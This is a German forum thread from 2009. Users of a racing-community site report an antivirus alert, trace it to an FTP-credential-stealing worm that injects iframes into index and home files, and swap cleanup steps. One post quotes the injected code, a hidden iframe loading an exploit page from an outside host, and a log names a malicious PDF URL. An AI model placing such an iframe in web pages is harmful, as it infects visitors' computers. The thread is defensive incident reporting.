Virus auf Racebit.de????

Rafael1976 · 22. Juli 2009, 06:01

hi
Da ich nicht wußte wohin damit post ich das mal einfach. Seid gestern kommt beim laden von racebit.de diese VIRUS Warnung *schreck

. Könnte mal jemand nachschauen woran es liegt? :hmm:

Ignoriert man diese geht eine PDF in Fremdsprache auf und der ADOBE Reader will UPDATEN! *weise*

EDIT:
HTML/Infected.WebPage.Gen - Malware Siehe auch
Kurzfassung Vollständig Statistik

Name: HTML/Infected.WebPage.Gen
Entdeckt am: 14/08/2007
Art: Trojan
In freier Wildbahn: Ja
Gemeldete Infektionen: Niedrig
Verbreitungspotenzial: Niedrig
Schadenspotenzial: Niedrig
Statische Datei: Nein
Engine Version: 7.04.01.62

Boerny · 22. Juli 2009, 09:05

Komisch ich hab das net. auf 3 pc´s alles in ordnung.

Misan · 22. Juli 2009, 09:35

Das vermaledeite Drecksding hatte sich gestern bei mir auch eingenistet auf der Seite. *wand

Da hilft nur eins:
-PW vom FTP ändern, das neue PW vorerste nicht im FTP Client abspeichern
-Jegliche Datein der Website in denen das Wort Index oder Home vorkommt müssen vom Schadcode befreit werden. Es werden auch Datein in Unterordnern befallen. Der Schadcode befindet sich direkt hinter dem <body> Tag und fängt mit nem iFrame an und verklinkt auf irgendne ne komische Seite. schaut ungefähr so aus <iframe url="xxx"></iframe>
-Vorsichtshalber die betroffenen Datein vorerst auf CHMOD 444 setzen wenn möglich. Der Bot scheint damit nicht klar zu kommen.

Der Bot hat ne recht einfache und konsequente Funktion. Besucht man eine Seite die betroffen ist, wird ein Trojaner runtergeladen, dieser späht die FTP Daten aus und gibt die Daten auf irgend ne komische Insel weiter. Von dort aus läuft ein Bot, der auf dem FTP jegliche Datein ändert die ein Index oder Home im Namen tragen.
Und dann geht das Spiel von vorne los, da die neue Seite ja auch infiziert ist und die Besucher sich auch das Teil einfangen.

Darum mein dringlicher Hinweis an alle die eine eigene Seite haben, bzw. FTP Zugänge auf ihrem PC gespeichert haben sollten umbedingt ihre Index Datei auf den Schadcode kontrollieren!!!

Berzerk · 22. Juli 2009, 09:51

Also bisher hab ich keinen Befall, benutze aber auch kein AVIRA ANTIVIR......

Nutze Kaspesky.

Aber danke für den Tip, ich behalte meine Webseiten im Auge!

Matthi · 22. Juli 2009, 09:54

Benutze auch Kaspersky, auch keine Meldung bis jetzt. Allerdings kam oft die Meldung das Adobe Reader 8.1 nicht mehr richtig funktioniert und geschlossen werden muss oder sowas wenn ich hier auf die Seite gekommen bin. Hab mir dabei aber nichts gedacht.

Das mit dem iframe stimmt, hab hier mal im Quelltext nachgeschaut. Befindet sich ganz unten hinter der </html> Tag.

Tyrrell · 22. Juli 2009, 11:20

@Misan: Danke für deine Hilfe (bin auch betroffen) aber ich hab von dem was du da schreibst keine Ahnung

Es steht da, dass dieses Bloodhound Ding in Quarantäne ist und ich kann es auch löschen. Denke aber nicht, dass es damit getan ist.

kronik · 22. Juli 2009, 12:30

Interessanterweise hatte gestern zuhause auch ne Invasion, ob das jetzt direkt mit der Racebit-Seite zusammenhing weiss ich nicht.
Es handelte sich hierbei um einen Trojaner namens "TR/Dropper.Gen". Mit Spybot, Antivir und manuellem Rumgehacke konnte ich dem Teil Herr werden..... aber sicher wieder gut ne Stunde damit verbraten.

TheRacer · 22. Juli 2009, 12:32

Matthi schrieb:

Allerdings kam oft die Meldung das Adobe Reader 8.1 nicht mehr richtig funktioniert und geschlossen werden muss.

Genau die Meldung kommt bei mir auch ständig *haue

FuNK! · 22. Juli 2009, 12:44

TheRacer schrieb:

Matthi schrieb:

Allerdings kam oft die Meldung das Adobe Reader 8.1 nicht mehr richtig funktioniert und geschlossen werden muss.

Genau die Meldung kommt bei mir auch ständig

gut das ich den Adobe Reader nicht benutze *blääh

Matthi schrieb:

Benutze auch Kaspersky, auch keine Meldung bis jetzt. Allerdings kam oft die Meldung das Adobe Reader 8.1 nicht mehr richtig funktioniert und geschlossen werden muss oder sowas wenn ich hier auf die Seite gekommen bin. Hab mir dabei aber nichts gedacht.

Das mit dem iframe stimmt, hab hier mal im Quelltext nachgeschaut. Befindet sich ganz unten hinter der </html> Tag.

kann ich bestätigen!
diese miesen fiesen iframes - gut das die eigentlich aus der Mode sind, sprich man sollte rframes in den Browsereinstellungen abschalten

PaVeL (Stefan) · 22. Juli 2009, 12:52

Kaspersky schrieb:

Web-Anti-Virus (Ereignisse: 3)
20.07.2009 14:29:01 ttp://reycross.net/lib/ifDuringHave.pdf Opera Internet Browser Verarbeitungsfehler: Exploit.Win32.Pidief.bes
20.07.2009 14:29:01 ttp://reycross.net/lib/ifDuringHave.pdf//ifDuringHave Opera Internet Browser Gefunden: Exploit.Win32.Pidief.bes
20.07.2009 14:19:16 Web-Anti-Virus Kaspersky Internet Security Aufgabe wurde gestartet

ging direkt in quarantäne. werde dann wohl nächstes jahr mein kasp. verlängern, danke.
edit: links bearbeitet...bitte kein "h" davor setzen...sonst wird infiziert.

Berzerk · 22. Juli 2009, 13:00

Das werde ich auf jeden Fall auch tun, meiner Meinung nach jeden Cent wert! Hatte zwar noch keinen Fund, aber gut zu wissen, dass das Prog den Trojaner rausfiltern würde.!

PaVeL (Stefan) · 22. Juli 2009, 13:41

immer noch im quelltext vorhanden

Quellcode

<iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125 style="visibility: hidden"></iframe>

FuNK! · 22. Juli 2009, 13:48

es hat sich auch noch kein Admin blicken lassen :golly:

Spacekid · 22. Juli 2009, 13:55

Sorry, aber ich hab von sowas keine Ahnung. Sprich Webseiten usw. Also kann ich hier nicht einschreiten. Das müßte Weeds mal in die Hand nehmen oder Simon. Aber vielen Dank für den Hinweis. Wir werden uns drum kümmern.

Berzerk · 22. Juli 2009, 14:22

Nun auch bei mir, aber abgefangen:

Simon Getz · 22. Juli 2009, 16:25

Tjoa is was schlecht die ganze Scheiße...denn runterladen und editieren kannste die index.php nitt...da meckert antivir halt direkt ne
WUAAAAAH..jemand ne Idee?

PaVeL (Stefan) · 22. Juli 2009, 16:32

änder mal die php in eine txt datei...also das php in txt...dann runterladen und bearbeiten und als txt wieder hoch damit und dann auf ftp ändern in php. sollte gehen
na sieht doch gut aus, bis jetzt

Misan · 22. Juli 2009, 16:52

test

Simon Getz · 22. Juli 2009, 17:08

Ich werd nun versuchen sämtliche index.htm/index.php/home.htm usw versuchen zu säubern..

WICHTIG: Alle die ein FTP Passwort haben für Racebit...sämtliche FTP Benutzer wurden von mir gelöscht vorerst und das Hauptpasswort habe ich auch geändert um zuerst mal sicherzustellen das die nicht draufkommen, die diese scheiß ins netz haun. Später oder bei Bedarf könnt ihr euch ja bei mir melden. dann richte ich neue ein.

Lumpi · 22. Juli 2009, 20:56

Also bisher haben wir keinen Befall

Quellcode

Teilen